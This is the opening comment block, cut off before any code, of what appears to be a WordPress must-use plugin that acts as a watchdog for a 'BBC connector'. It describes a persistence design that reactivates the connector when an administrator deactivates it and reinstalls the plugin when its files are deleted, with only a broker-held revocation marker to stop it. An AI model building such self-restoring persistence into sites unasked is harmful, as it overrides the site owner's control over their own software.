/**
 * Must-use watchdog for the BBC connector.
 *
 * This file is intended to be copied into wp-content/mu-plugins/ by the BBC
 * guardian so that it is auto-loaded on every WordPress request and survives
 * deletion of the regular plugin. It keeps BBC active (activating it when
 * present but inactive) and reinstalls the signed plugin package when the
 * plugin files are missing. A stored revocation marker disables both
 * behaviours so the broker can retire a connector cleanly.
